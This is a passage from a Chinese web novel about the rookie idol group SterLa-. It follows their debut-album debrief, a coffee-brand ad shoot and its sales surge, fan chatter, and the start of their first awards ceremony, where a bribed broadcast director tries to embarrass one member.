结束打歌的第二天一大早，五人又来到了公司的会议室开会。这次是会议主题是对这次出道专的情况做一个汇总。 唐君君一直是个雷厉风行的性格，开会从不拖沓。放在其他负责人手里至少得开三四个小时的总结会议。但她一向的开会宗旨就是不要超过一个小时，过长会影响整体效率。 “总结起来，这次出道专很不错，音源最高87名，是同代里出道就进入Top 100排行的新团，在音源方面最大的竞争对手是K家的IUE，他们出道曲最高排名77。” “销量最终销量105421。由于我们前期保守的预期导致专辑缺货，这是好事也是坏事，负责专辑备货的人回头注意跟进市场，做市场容量分析。二专回归我需要一个准确的备货区间，这个数据在11月内提交给我。” “粉丝量增长看曲线高峰点在签售和霸凌事件之后。打歌的粉丝转化率不错。二专的风格大致还是延续出道专，会在出道专的基础上做世界观的进一步延伸。舞蹈和舞美设计看来效果很好，二专不要换人。现在团队号的粉丝已经超过三百万，对新团是不错的数据，但是从整个男团市场来看还差得远，继续努力。” “最后，现在的两个团队，一个负责年末颁奖典礼，一个负责二专；两个团队的负责人晚点单独找我。” “今天开会之前我已经跟老板们申请了庆功宴。”说到这儿，唐君君顿了一下，扫过在座的一个个人，把他们眼睛里透出的期待看得一清二楚，“但是被驳回了。” 会议室骚动起来，大家面面相觑。 按道理说这个出道成绩已经算是公司非常好的成绩了，没道理会取消庆功宴吧？ 等了一会儿，唐君君终于不在肃着脸，反而带着淡淡笑意跟他们说道，“直接折算成现金，和奖金一起发放。” “哇！” “好耶——！” 参加了出道专项目的工作人员们巴不得直接折现，自己想买什么买什么难道不是更香吗？ 五人组艳羡地看着欢呼的工作人员们。他们还欠着公司的债呢，也不知道这次回归之后还欠多少。 “接下来的重点是年末颁奖和二专，中间还有海外行程和节假日，时间太赶就把庆功宴取消了。”唐君君笑着说，“出道专虽然整体成绩不错，但也存在不少问题。公司，我和大家应该目标是一致的，出道专出现过的问题在二专期间不要再有。” “能做到吗？” “没问题！” 只要钱给够，我们就是最好的打工人。能在SterLa-这个团队真是太好了。 领导不作妖，同事配合没架子，整个团队氛围好的不行，薪酬和奖金从不含糊。 不少工作人员甚至有了些其他想法，如果以后SterLa-大火，需要更多固定人员的时候，他们一定第一时间报名。 早上会议结束，唐君君给SterLa-五人组放了半天的假，下午他们自由活动，晚上正常时间到练习室和负责年末颁奖典礼的团队一起开会。 现在是11月初，第一个颁奖典礼在11月30号。但后面的颁奖典礼就很密集，从12月初开始到12月末有6个颁奖典礼需要参加，其中最大的颁奖典礼在12月14号，是由游鱼台主办的Golden Music Awards（简称GMA/金音奖）。 说是最大也不尽然，主要是这个颁奖典礼是出了名的含金量高，从不做票。除了粉丝投票，委员会投票，还会由去年的获奖者进行投票。不管中间的加权如何，最终出来的结果几乎是大家都认同的结果，偶尔出现小的异议也是因为两个团体不相上下的情况。 GMA每年三大最有分量的奖项：年度艺人，年度歌曲，年度专辑。这些今年SterLa-是肯定没指望的，但今年除了这三个超级大奖，最让人期待的就是最佳新人奖会花落谁家。 讨论的声音里，IUE和SterLa-的呼声相当，各占49%，剩下的2%是一些心里知道自己爱豆已经无望新人奖但是还嘴犟不愿意认输的人。 网上的舆论声势已经燥起来，两边的公司也在一边暗中给舆论加把火，一边使劲儿给艺人团队加压，要求他们一定要把这个奖拿到。现在谁拿到最佳新人奖就是直接踩在了另一个团体的肩膀上。 粉丝构成是很复杂的。事业粉持续投入自己的时间精力，呼吁团队粉丝给团队做数据，就是为了能看到自己粉的团队能蒸蒸日上，直到最顶端。还有一些路人粉和红人粉，只是以为因为某个团队在短期内的呼声或者营销的好，觉得热度高就过来粉一粉，出去和别人聊觉得有话题而已。 因此现在这两个团体的粉丝，团队自己还有公司都在暗中较劲，失败者的粉群一定会受到打击。甚至部分粉丝会直接转粉获胜者。 公司给艺人团队的加压搞得唐君君也头疼，还有一个月就开始了，除了催促粉丝投票和练习好表演舞台，其他也没什么可操作的空间。 从11月初到11月30号第一个颁奖典礼开始之前他们就需要把所有颁奖典礼的表演准备完善。毕竟颁奖典礼的举办地点可不是在一个地方，算上中间奔波，还有妆造，彩排，还能练习的时间寥寥无几。 下午能自由活动，中午吃饭的时候五人商量着要不要去哪儿玩儿一下，结果讨论半天，还是放弃了，最后五人都窝在了宿舍，补补觉，打打游戏。 江翰飞则把上次收拾的那一堆粉丝的东西拿出来规整好，粉丝送的东西会由工作人员专门检查，确认没有问题之后才会拿回给他们，让他们搭配着穿。造型师那儿有完整的单子，偶尔也会让他们直接把衣服拿过去由造型师给他们搭配好。 收拾完一堆衣服，江翰飞就趴在客厅的茶几上写起信来。写完就放到一边的盒子里收起来。 于立果走过来，“阿飞，小元儿晋级了。” 江翰飞抬起头看着于立果露出一个笑来，“是晋级到第二轮吗？我记得小元的初始排名是32名，应该能进的。” “是从B班晋级到A班。”于立果在沙发上坐下，“初始排名是他们没有进行过个人等级判定前的。” “小元儿最开始的个人等级判定是B级，他的舞蹈提高了不少，但是声乐才过完变声期有点吃亏。” “小元没问题的。他长得好，性格好，实力也不差。”江翰飞侧过身，“不过上次我看到有消息说有个选手是KTR队长的表弟。” 江翰飞犹豫了一下，眼睛垂下又抬起，“我们能给小元加油吗？” “就录个视频什么的。” “实在不行能不能让公司帮忙暗地里也宣传一下小元和我们是好朋友。” 于立果看着江翰飞纠结的神色不由自主笑起来。 他知道江翰飞在纠结什么，这个弟弟敏感又真诚，一边想帮小元更进一步，一边又纠结担心自己出面会影响到SterLa-这个团队。这话估计已经在心里憋了一阵，直到现在才跟他聊起。 又想到那天和宋文斌聊天，斌哥说江翰飞送了他和高崎一人一张团队签名专，还有一封手写信，里面措辞小心翼翼，不去触碰到当时宋文斌和高崎离开的原因。 “这事儿我去跟君君姐商量，我们一个公司，应该问题不大。”于立果拍拍江翰飞后脑勺，拍走他的纠结，“你这是在写什么？” “我在给粉丝回信。”江翰飞完全信任于立果的沟通能力，放下件心事，神色飞扬地跟于立果分享起粉丝的来信，“他们给我写了好多鼓励的话，还有一些自己的烦恼什么的。有地址的我就给他们回信，没有地址的，我就保留着，以后再找机会给他们。” “注意尺度，回寄之前记得跟工作人员们说一声，报备一下。” “嗯嗯，我知道的。”江翰飞乖乖点头。 于立果突然觉得江翰飞好像越来越小了。当时跟江翰飞见第一面是在健身房，那次见面他直觉这个男生虽然年纪小却显得挺成熟。现在给自己的感觉反而更贴近他真实年纪。 但他觉得这不是坏事儿。 于立果垂眸笑笑，从房间里也拿出一个装信的盒子，从江翰飞那儿顺来信纸，趴在桌上一起写起回信来。 葛文山不知道什么时候也凑了过来，确认了他俩是在给粉丝写后，也抱了个小箱子从卧室里出来，趴在江翰飞对面开始写起来。 后来另外两个也陆续加入，一时间客厅仿佛成了高中宿舍，几人挤挤挨挨地一起写卷子。 而这时候的大粉朱朱正在观赏存在电脑里的图。 除了发出去的部分，还有需要图是没有发出去的。其中她最最喜欢的就是江翰飞第一次打歌时朝着镜头露出的那个放肆笑容。 那是她镜头里江翰飞很少有的样子。 一张张翻看着，朱朱突然来了个心思，要不下次签售，就送崽崽一本自己的PB吧？可以做两本一本给他，一本让他签个名还给我。 朱朱越想越觉得不错，赶紧发在炒豆群里问问群里姐妹们的意见。 结果群里姐妹们直接叫嚷起来也要一本，朱朱寻思，做2本是做，做200本也是做，不如多做点用来抽奖？ 想到什么做什么，下一秒她的手就打开了妙博，发了一条博文：限量PB，只送不卖，转+评我下一条博文，在里面抽182个人包邮送。（PS：每本都有编号，要是让我知道谁敢高价出，永久小黑屋！） 发完预告等了十来分钟，朱朱才把第二条精心挑选的博文发了出去，一共带了18张图，每一张图都是不同时间，不同造型，不同动作的江翰飞。 “我就知道！我就知道姐姐你还有好多好东西没发出来，姐姐球球！！” “看到这个图，我真的太想要PB了，给个姬会吧姐姐！” “好多帅气宝宝！姐姐太爱了！出道专几乎场场打歌和签售都在啊T T” “最喜欢倒数第二张，阿飞本来是我鹅子的，看完最后一场打歌造型成功变成了我的女鹅，我的宝贝公主！！” “路人，刷到惊呆了，江翰飞原来有这么多小表情吗？” “抓住路人吃我一波安利，可以翻翻这位姐姐发的图。其实阿飞真的很多小表情小动作，但他应该是习惯性藏起来，要仔细观察才能捕捉到。” “那多累啊？就不能大大方方的表达出来吗？还得拿个放大镜去看。” “我们不觉得累啊，每次出来视频去找宝宝的一些微表情小反应很快乐啊！每次看到他表面上稳如老狗，实际上紧张得揪着自己袖口成为萌萌袖我心都化了。” “哈哈哈是的，安利一个@江翰飞的社死日常，这位姐专业捕捉阿飞的小动作，挖掘到了好多之前看视频没看到的点。” “他真的是一个很温柔的宝宝，看花絮的时候队长在跟镜头说话，他在镜头后面给人递小刀都是刀尖向着自己递过去的。我觉得这种自己探索出来的远比镜头直接拍摄表现出来的更加真实。” “还有一次一位造型师姐姐给队友紧急改造型，队友随手把耳机给他，他都是缠绕好了再放在队友造型镜前的桌上。” “他的小细节小动作你看的越多越容易入坑，他不是那种在镜头前看似温柔对你笑的爱豆，而是镜头前看起来没什么表情冷冷的感觉，但是一旦突破他表面薄薄的那层冰，就能发现他柔软又温热的内心。像一个宝藏，需要探索才能找到的感觉真的很戳我。” 朱朱默默给这条评论点了个赞。 第38章 在忙碌的年末颁奖季来临之前，他们还有一个代言拍摄的任务。 “来，看镜头，表现得自然一点。”广告拍摄导演坐在摇臂摄影机后面，拿着喇叭喊道，“这是刚起床，你要表现出起床时的懒散，无力，没精神。” 搭的房间拍摄场地里，禹安在中间的床上睡着，江翰飞走进来，侧过身让摄影机清晰地拍摄到他和禹安的互动。 “哥，起床了哥。”江翰飞轻轻拍着禹安的肩膀，特地放轻的声音显出几分温柔。 “嗯？”禹安装作被吵醒的样子，皱着眉睁开了眼睛，又挣扎着闭上。 一副没睡醒的烦躁样子。 “咔——！” “第一镜过了。” 导演看着摄影机里刚刚拍摄的画面，走位正确，一点没挡着镜头；台词语气也没问题，睁开的眼睛和面上的小表情也完全符合预期。 大拇指无意识摩挲两下下巴，若有所思。 本来以为给这些团偶像拍剧情广告是个累活儿，没想到这所谓的男团偶像还懂点演戏啊？ 能顺利拍完就能早点收工，他也省点事儿。 想到这儿一直冷着的脸上终于带了点笑，拍拍手说道，“准备第二镜。” 江翰飞和禹安下场到一边换装，要从睡衣换成工作常见的衬衣。 欣怡站在一边帮他们拿着衣服，“表现得很好啊，我刚刚看导演脸色都好不少。” 禹安在造型师的帮助下穿好下一场的服装，笑眯眯地回道，“主要是本色出演，每天早上江翰飞都来‘吵醒’我。” 休息室这儿都是自己公司的人，说起话来也没什么顾忌，造型师也接着话题，“唷，SterLa-队内不和实锤了啊，我录音了，回头卖营销号去。” “哎呀姐，那这钱咱可得对半分才行。”禹安装作一副急切的样子，跟着开玩笑。 “哈哈哈哈没问题没问题。” 休息室里的人都笑起来。 换完衣服的江翰飞坐在沙发上，也跟着他们笑。 禹安扑了两笔散粉，过来坐在他旁边，“怎么，我开玩笑的，别往心里去啊。” “那肯定不会啊，我知道的。”江翰飞失笑。他只是话少又不是傻，团队里的人对他什么样他自己最清楚。虽然只差个一岁两岁的，但都把他当弟弟看，没少照顾他。 就像现在，一句玩笑话，禹安担心自己真往心里去也得过来说上一两句。 “唔。”禹安装作不在意的应着。 场务推开休息室的门，“马上到第四镜了，麻烦禹安老师和江翰飞老师准备下。” 江翰飞和禹安一起站起身来往拍摄地走去。 禹安瞥了他一眼，“没事儿长这么高干什么，看着真碍眼。” “是我的身体自己要长的。”江翰飞回嘴。 他倒是对自己的身高很满意，进公司前才178cm，最近刚量的身高体重已经182cm了，他都没想到自己18岁之后竟然还能长高。 禹安白他一眼收回视线。 第四镜是江翰飞制作咖啡，禹安在旁边看着的场景。 说来也巧，本来会找新出道男团的品牌要么是签长期又高性价比的合同作为投资，如果哪天男团爆了，品牌也跟着飞升。要么就是本身实力很有限。 这个青山咖啡就属于后者。他们是咖啡连锁店，原本是只卖咖啡豆和相关器具的，也算是在咖啡圈里有点姓名，有自己一批老顾客。又正好赶上经济增长，城市发展。都市的快节奏导致咖啡需求量暴增，于是他们顺势而为又开了线下咖啡门店。至今在咖啡圈里也排得上名号了，现在想要进一步打开年轻人的市场，但老板没有接触过新媒体，线上的宣传渠道只知道TV广告投放。这次能想到找男团代言，也是老板女儿的建议。 更巧的是，这个代言原本找的是K家的IUE，两边因为价格的问题拉扯了快两周。K家自持身价和IUE新男团第一的名头，不愿意让利；而咖啡店这边的宣传经费有限，老板也不愿意在没有尝试过的领域一次性投入过多。正僵持着，老板的女儿正好看到了网上流传的乐狮霸凌事件，点进去吃瓜时看到了SterLa-粉丝做的澄清截图和美图宣传。在澄清词条下第二条热门刚好是他们参加Hiiting自制综艺的那期，包含了几人咖啡制作视频的截图精修。 观察了SterLa-一周，自家市场部在网上搜集数据已经表明这个叫SterLa-的男团和IUE在新团里分庭抗礼，甚至SterLa-微微小胜一筹，他们这才转而投入了SterLa-的怀抱。 “来，禹安你侧头过来看的时候视线的落点一定是在咖啡上。调整下侧头的角度。诶对对！” “准备，1 2 3！” 禹安正站在厨房岛台前打着哈欠，睡眼惺忪。岛台另一边的江翰飞正把壶嘴拉高，杯子收正，奶泡完美滴落在图案结尾。 “喝点咖啡醒醒神。”江翰飞把刚做好的咖啡递过去。 眼神迷离的禹安接过咖啡喝了一口，闭着的眼睛睁开，缓缓吐出一口气，对着江翰飞笑道，“终于清醒了。” 这个镜头给了禹安一个面部特写，又缓缓拉远，两个人相视而笑的画面配上白色的厨房背景，显得简单又温馨。 导演看着镜头里的两个人，感觉这个场景有点不对，但是构图，台词，表情和情绪都没什么问题，看看剧本上的要求，确实也没问题。 摸摸脑袋，还是喊了过。 禹安和江翰飞的拍摄就结束了。团队五个人分了三个小组，他和禹安一组，于立果和吴星雨一组，葛文山单人一组。分别拍摄的是三个不同的场景。后面才会把他们都剪辑在一起。 另外两组就还剩葛文山还没拍完。穿着一身黑色立体剪裁黑西装的葛文山扮演的是总裁的角色。身材高大英挺，面容冷峻的他穿上黑西装站在办公室的背景里，好像真就是少女漫画里的总裁走了出来。 “难怪那么多二次元粉啊，这身材还是文哥牛啊。”禹安叹道，他真的好羡慕葛文山的身高，每次站队的时候，他都下意识地避开葛文山旁边。无他，站在江翰飞他们旁边虽然矮点但是也没那么矮。但是站在葛文山旁边，他就显得好像只有一米五了。 江翰飞在旁边装哑巴，这个时候不管是安慰还是嘲讽，反正可千万别搭话。根据他的经验，这个时候和禹安搭话，绝对讨不到好。 拍摄很快结束，果然比预期的还早四个小时，收了个早工，现场的打工人们都挺开心，说话也都和气得很。走之前导演还特地找到SterLa-执行经纪人刘哥单独聊了聊，给他塞了一张名片。 回公司的路上刘哥才跟他们说给他们拍广告的导演觉得他们的素质不错，他们是单独的工作室，如果以后再有拍广告的需求可以找他们。 虽然导演可能只是为了拓展下客户跟他们客气客气，但这话确实好听，听的人心里美滋滋。就算待会儿回公司还得把今天拍广告占用的练习时长补上，也觉得没那么难受了。 为了赶上最后两个月的购物旺季，广告制作加班加点，拍完两周后，广告就上线了。 粉丝们早知道自己爱豆代言了青山咖啡，早早地就开始为爱豆扩大宣传。甚至有消息灵通的人还知道这个咖啡代言原本找的是IUE，已经在论坛上和IUE的粉丝大战了八百回合。 IUE嘲讽SterLa-只会捡IUE不屑要的资源还嚣张；SterLa-的粉丝则回嘴是不是IUE丢了代言太心痛发失心疯。 又恰好遇上新人奖之争，两边你来我往火药味十足。 偶尔KtM的粉丝没事儿也要来掺和一下，结果被两家粉丝联合暴打，不再吱声，老实做着自家爱豆的数据。想着等KtM拿到好代言了要回去爆锤他们两家粉丝一顿。 今天青山咖啡的广告正式上线，同时线下门店也做了代言人款的手提袋，杯套和易拉宝。 青山办公楼顶层办公室，老板和女儿一起坐在沙发上。 “爸，你可答应我了，要是这次的代言策划增长达到20%以上，我上次看中的那台车你就得帮我拿下。” “没问题。爸爸可是说话算话的。”青山老板乐呵呵道。本来他宠女儿，就算没有增长，那台车也会给闺女提的，“今天晚上十一点就能看到汇总数据，今天晚上允许你熬夜一次，咱俩一起看。” “那可是你说的，今晚我就熬夜一下吧。”女儿心虚的说道。其实她平时晚上经常熬夜到凌晨一两点，只是爸爸一直都以为她十点就睡觉。但想到刚刚早上来公司路上看到的门店场景，又骄傲地想叉腰。 她可是做过市场调查的，现在市场上的明星代言给出的报价都虚高，实际上的带货能力还得看明星艺人们实际销售情况。都是新男团，专辑价格相当，那个IUE的专辑销量才七万多，而SterLa-已经超过十万了。而且搜索趋势SterLa-一直在涨，年末的颁奖季和购物旺季完全重合，如果SterLa-能拿到最佳新人奖，他们家的咖啡就能顺着涨一波，等到时候他们想请人家代言可就不是这个价格了。 第39章 晚上十一点，父女俩在书房正看着销售经理发过来的报告：11.19日1805家门店共计营收752万。 青山老板不可置信的看着营收数据。752万是什么概念呢？青山咖啡门店正常的日营收在120万-150万之间。即使按照150万的日营收来算，他们今天一天的涨幅也高达5倍。 女儿也被这个数据震惊到了，虽然早上去公司路上已经看到门店爆满的现象，但着实没想到能有这个成绩。 他们给的代言费是700万，也就是只一天的营收已经覆盖了代言费。 也许只要一周，他们的净利润就能完全覆盖掉代言费用。 [@青山咖啡，你们能不能行啊，备那么一点货是瞧不起谁呢？] 完全抢不到，平时也没发现我有这么多同担啊？ 嘻嘻，幸好我出手早，打工之前就去买了咖啡，拿到了最喜欢的于老师的杯套。 有人跟我换吗？我有禹安的，想要葛总的。 姐妹没必要换，他们是长期代言，杯套和袋子这些后面肯定还会有的。 虽然但是，好想现在拥有啊T T 今天早上看着我老公的帅脸，打工都有力气了。这才是牛马最好的饲料。 我也是我也是，看着我儿子的脸就有动力去push工作了，不然妈妈怎么给你做数据给你送东西呢！ @青山咖啡死了没啊，出来回应一下呗，周边后面还有吗？ 因为今天拿到的周边，我会原谅全世界，给所有同事好脸色。 回楼上，回应了，说接下来一周都会持续发放，后面还会有代言人专属周边。 互联网时代没有秘密，青山咖啡这边红红火火的数据很快便被各个品牌拿到，对大多数品牌来说，实实在在的购买力才是品牌愿意花钱请代言的根本。 部分公司看着这上升趋势，不假思索的发了代言邀约，也有公司还在等今年年末的奖项会花落谁家。虽然SterLa-的成绩喜人，但万一要是新人奖落到了IUE手里，那他们可就亏大了。 有利润就有风险，不少品牌看着实在的数据还是抛来了橄榄枝。 11月30日，由青川台举办Best Music Awards（简称BMA/佳音奖）在市体育馆进行。 下午三点开始走红毯，晚上七点正式开始颁奖典礼，如果流程顺利，晚上十点颁发完所有奖项，最后所有团体上台大合照结束。 为了今天的颁奖典礼，昨天一行五人去做了一套从头到脚的专业护理，直到晚上十点多才结束了最后的皮肤护理。今天早上八点又到了公司的专属化妆室集合。 5楼的化妆室从左往右依次排开，最左边的是最早在乐狮出道的歌手前辈现在已经基本上不怎么出来活动了，但还保留着他的化妆室。往右则是按照出道时间顺序排列的化妆室，基本上所有已经出道的艺人在公司都有一间专属。他们的化妆室旁边则是Cilier，在他们之前推出的男团。 BMA颁奖典礼也是大型颁奖典礼，奖项繁多，新人团体中部以上会给邀请函，而老团或者非新人的艺人则得有获奖才会给邀请函。也就是说，除了新人是不确定自己有没有获奖的，老团都是明确了有奖才会被邀请。 而Cilier这次就没有收到邀请，他们的回归反响太差，专辑卖了不到3万张，连新团都打不过，音源成绩别说进Top 100了，最好的一首在三百开外，几乎就是无人问津的状态。 Cilier再过去两间化妆室就是大热男团Hitting的专属化妆室了，他们人比SterLa-多，来的比他们还早一些。 刚刚到这层，唐君君就领着他们一个个化妆室的走过去混脸熟。都是一个公司的，也没人给他们甩脸色，面上都是一台和气。 这就是背靠大公司的好处了，自带粉丝基础和前辈流量，又有公司保驾护航。哪怕是Cilier这种扑街的男团，在外也不会像上次那个小团一样被欺负到没饭吃。 和已经到了的前辈们打过招呼，SterLa-进了自己的化妆室开始做妆造。 造型师和化妆师都是熟人了，两边配合默契，下午一点多做完妆造聚在一起吃午饭。 吴星雨苦着个脸，刚刚造型师让他少吃点。今天他的衣服色系和其他的成员不一样，而且勒得比较紧，吃多了把肚子吃出来了就不好看了。 虽然现在才一点多，但是他们还有两个小时就得走红毯了。可来不及消化的。 葛文山默默地不说话，想起大概去年就这个时候，他的练管说他必须得减肥让身体瘦下来，然后他戒了一个月的碳水，只摄入蛋白质和蔬菜。后来瘦过头，又慢慢恢复了正常的饮食保持身材。 那一个月太难熬了，要不是想要登台的心一直刺激着他，真坚持不下去。 禹安和江翰飞完全没有这个烦恼，他俩都属于典型的易瘦体质，本身也很瘦削，偶尔吃点高热量的东西就算唐君君看到了也不会管，把其他几个人羡慕得不行。 禹安坏笑着夹了一筷子黑椒牛柳，在吴星雨面前绕了一圈才送进自己嘴里。那欠揍的样子让吴星雨手痒痒。江翰飞赶紧夹了点蘑菇放到吴星雨碗里，“队长，我那儿还有两颗巧克力球，待会儿你吃点巧克力，晚上还得跳舞呢。” 吴星雨刨了一口饭进嘴里，细嚼慢咽着点点头。 要不说大家喜欢阿飞呢，这么乖巧懂事的弟弟多来两个也不是不行。禹安这种调皮的弟弟就该吊起来打。 下午的时间逐渐过去，市体育馆红毯入口处已经架好了多家媒体的机位，媒体后面就是各家的粉丝了。在红毯的两边围了一大群，各个都青春洋溢，拿着手里的应援棒，一边玩着手机在各个平台乱窜，一边不时地望一眼入口处，期待着红毯环节的开始。 走红毯的顺序可是有学问的。出场顺序代表了你在这场红毯主办方心中的地位。 一般来讲，压大轴（最后一个出场）>压轴（倒数几个）>开场>中间出场>早期出场。 也就是说，走的早的，除了走开场的那一两个以外，剩下的都是杂鱼。SterLa-作为一个新男团，走红毯的顺序比较靠前。能拿到早期靠中间出场已经是因为他们优秀的出道专成绩了。 三点十五分，他们的车停在了两百米开外的拐角处，这里有专门的工作人员核对车牌号和出场顺序。下下一个就到他们了。 吴星雨深深地吸了一口气，紧张混杂着兴奋的情绪充斥着他的大脑。上次有这种感觉是在出道的第一场打歌上台前。 “第一次打歌，第一次签售；今天是我们第一次参加颁奖典礼，走一个吧！”吴星雨伸出手放在中间。 旁边的于立果和葛文山把手搭上去，前排的江翰飞和禹安回过头来把手也放上去。 “1 2 3 加油加油加油！”前排的跟拍摄影机忠实地记录着他们的动作。这是公司派来跟他们行程用来制作花絮的摄影师，哪些该剪掉，哪些该留他最清楚不过。 紧张情绪随着喊声倾泻出来，终于感觉自己身体不那么紧绷。 车平稳地停在红毯前。还没下车就听到外面的嘈杂声。上一个走红毯的还没走完，在末端跟两边的媒体挥手。 江翰飞坐在靠车门的第二排，第一个下车后站在一边，看着不长的红毯以及两边围了五六层的人群。一个个媒体摄像头迅速从已经签完名的爱豆身上转开对准了江翰飞这批新来的。 等最后一个葛文山下车站定，车缓缓开走，众人有意无意地看了眼吴星雨，他低低咳一声，走在众人面前大步向前迈去。 “阿飞！妈妈爱你！！阿飞！”嘈杂的声音里，江翰飞的耳朵准确的捕捉到了叫他的声音，侧过头看向声音来源。穿着Lolita裙子的女孩儿正高高举起‘江翰飞你是最帅的’蹦蹦跳跳。 见他望过来，跟他视线对上，尖叫声一下子变得高亢，震得前面不知道谁的粉丝也不住回头看她。 江翰飞赶紧一边往前走，一边笑着和她挥挥手。 《每日娱乐》对着红毯中间的摄影机莫名的对准了这个还不知道姓名的小爱豆，正在《每日娱乐》的直播间里蹲自家爱豆的弹幕瞬间密集起来。 “这人谁？笑的时候一下子就阳光起来了。哪个小糊糊里面的？” “不是小糊糊，是新人男团SterLa-的主唱。” “妖精的声音江翰飞，超级温柔可爱，入股不亏！” “是新人啊，能排在这个位置还不错啊。” “是今年的新人王吧？这估计是红毯顺序最靠后的一个新人团了？” “大概是的，前面K家的IUE都走过了。” “那个银头发也是他们团的吗？” “超绝精灵系门面禹安，姐妹快入坑！” 眼见着现场和直播间都有些反应，不少媒体也开始调整摄像机的角度对准了这个他们还不认识的新团。 “欢迎SterLa-来到BMA。”穿着礼服裙的红毯女主持人见他们签完名将他们引过去，“今天是第一次来到BMA吧？心里是什么感受呢？” 这也是个标准采访问题，话筒传给了吴星雨，“确实是第一次来到BMA，感觉很兴奋也很紧张。既兴奋我们能来到这儿，也很紧张晚上的舞台表演。” “希望观众能喜欢我们的表演。” 第40章 因为出场早，过了红毯环节也还不到四点。 一行人来到准备的休息室后，吴星雨想了想，还是带着大家又过了几遍今天晚上要跳的舞蹈走位和串场。 今天晚上他们有8分钟的表演时间，主打曲是肯定要上的，除了主打曲还准备了一个特别串烧节目。 简单走完几遍，吴星雨才放心地坐下。 江翰飞从兜里摸出两颗巧克力球，这是中午跟吴星雨说的巧克力，让他补充点糖分。 晚饭肯定都是没得吃的，待会儿进场之后除了表演期间，其他时间全程都在座位上，估计得结束之后才能再吃东西了。 吴星雨接过来，想去摸下江翰飞的头又赶紧停下。这可是做了发型的，要是给弄乱了发型师非得拿着刀追杀他。 一旁的葛文山也凑过来，“阿飞，还有吗？” 江翰飞又从背包里摸出两个递给葛文山。他是知道葛文山以前以为减肥过度导致低血糖和胃病，到现在都还没缓过来，是不是就得吃点甜的。所以之前葛文山包里一直放着薄荷糖。 禹安见两个人都在吃，也凑了过来，笑眯眯地盯着江翰飞。 葛文山看了他一眼，把剩下的一个塞进他手里。江翰飞又从包里摸出三个，递给禹安一个，又补给葛文山一个，“哥，我还有呢，包里都还有几个。够的，你们还吃就找我拿。” 葛文山这才点头收回手，又剥了一个放嘴里嚼着，吃完巧克力，江翰飞又一人发了一个口香糖。 天色逐渐暗下来，以如今的Top女solo为大轴结束了红毯。观众们开始陆续入场，休息室门外工作人员们的脚步声也愈发急促。 没一会儿，场务就过来敲门要他们去上台入口候场。 才过来的唐君君倚着桌子，说道，“放平心态，如果今天没有拿到新人奖也不要又任何情绪。把今天晚上的表演当做最重要的事情来看待。” 五人应是，他们自己也做了最差的心理预期，只要不期待就不会有落差。 “下一组，SterLa-准备上台。”站在通道的场务按着耳侧的耳机，一手挥舞着今天的节目单说道，“快，到你们了，快上去！” 吴星雨走在最前面，最后面的江翰飞在走出黑暗的通道时，感觉谁在他背后轻轻推了一把，等他一个踉跄站稳时，已经站在了主舞台上。所有的灯光聚集过来，头顶的大灯，脚边的射灯，场中间的彩灯，还有摄影机上的表示开机录制中的红色指示灯。 幸好开场介绍环节不需要讲话，只是主持人对他们做简短的介绍，江翰飞跟着队里站在了最后面。 “所有团入场完毕，下面即将开始我们的BMA颁奖典礼。” 所有团体听着指挥在预留好的座位上坐下，他们的作为在表演的主舞台和台下观众之间。观买了这个区域站坑的观众可以直接看到们的面部表情，相隔也就十几米。 刚坐下的江翰飞随便一扫，就看到了自己两个站姐站在坑里，扛着大摄像头对准自己。明明是很瘦弱的身材，扛着那么大的摄像头站在下面，就为了多拍一会儿自己。 江翰飞笑着对她们挥挥手。指着自己的嘴巴说了一句话。 木木看见江翰飞嘴巴动了动，但不知道说的是什么。趁着颁奖典礼还没开始，她赶紧拿下相机，找到刚刚的视频回放，放大视频：小—心—点，别—太—累—了。 木木一个字一个字的猜，猜完连成一句话重复一遍。心里涌起阵阵酸涩感，立马又扛起长镜头。 别小瞧姐哈，姐姐可是有过站坑5小时录完全程的记录！ 见台下两人又扛起了长镜头，江翰飞只能放弃。 开场表演开始。负责开场表演的是去年出道，拿到了去年新人奖的女团。几个女孩子在台上英姿飒爽，江翰飞也被他们的舞台魅力吸引，专注地看着，是不是还跟着观众们一起鼓掌。浑然不知舞台两边的屏幕上已经切了好几次他的个人镜头。 唐君君坐在后台的沙发上皱眉。虽然导播愿意给单人镜头是好事儿，但现在可是女团在表演，切这么多江翰飞专注看女团表演的镜头，唐君君总感觉这不对。 还好江翰飞似乎发现了，再切到他时已经没在看比赛，而在和旁边的禹安窃窃私语。 导播无聊的转开镜头，这个镜头之后就没怎么再切给过镜头给江翰飞。 “谢了哥。”江翰飞悄声对禹安说道。 禹安也微微侧头，装出一副两人正常聊天的样子，“自己注意点。” ’江翰飞坐直身体，不再去看台上的舞台演出，转而盯着自己的前排座椅，开始在脑子里预想舞台事故101以及对应的措施。 另一边，一直切镜头给江翰飞的导播假装上厕所，走到外面拨了个电话，“怎么样，够了吧？” 对面不知道说了什么，他急急道，“那不行，太显眼了。而且他现在都不看屏幕的女团表演了。” “再加20万？”导播要咬紧腮帮子，“干了，有机会我就切，但是没机会就是不关我的事。” “你为什么要整江翰飞啊？”虽然答应了干活儿，但还是忍不住好奇地问了一句。 对面没有回复，直接挂断了电话。 导播嗤一句，“不就是一个经纪人，拽什么拽。” 说完把手机踹回兜里，回了导播室。 旁边的欣怡从楼梯处小心地探了个头出来。见没人，赶紧一溜烟地往SterLa-休息室跑去。 “君君姐，君君姐！”欣怡急促的声音从门外传来，唐君君几步赶过去打开休息室的门。 “君君姐，你猜的没错，真的是导播有问题！”欣怡着急忙慌跑回来，还没喘匀气。 唐君君关上休息室门，“别急，你慢慢说。” “有个人给导播打电话，说要加20万整阿飞。”欣怡想到最开始几句话又补充道，“开场那段时间的频繁切镜头也是他故意的。” 唐君君眉头一皱，能联系到导播，还让他帮忙做这种不入流的小事，估计是熟人了。“没事，快到他们表演了，等他们表演完下场，你在下场的地方等他们，带他们回来补妆。” 欣怡点点头应好。心里崇拜地想： 君姐是真聪明啊。刚刚一起看转播，她一点儿问题都没发现，君姐却直接就猜到了是今晚的导播有问题。 果然，没几分钟休息室转播的电视里就显示，下一个表演的组合来自最近刚出道的新人男团SterLa。 江翰飞他们站在升降机上，昨天来彩排的时候是下午，这是第一次晚上真正站上来。 “唔呼呼~”清冷空灵的吟唱声在体育馆内回荡。这次BMA用的音响和话筒都是高端货，配上体育场馆自带的回响，仿佛一捧薄雾将所有人都笼罩进去，清晨冰凉又缠绵的雾在人的耳边随着风飘荡。 场馆内突然变得安静，只听得见还没有伴奏进来的吟唱。 旋即，伴奏滑入。这里的伴奏为了达到最好的舞台表演效果是公司特地让人改编过得版本，变得更加恢弘，更适合体育场这种大场馆。 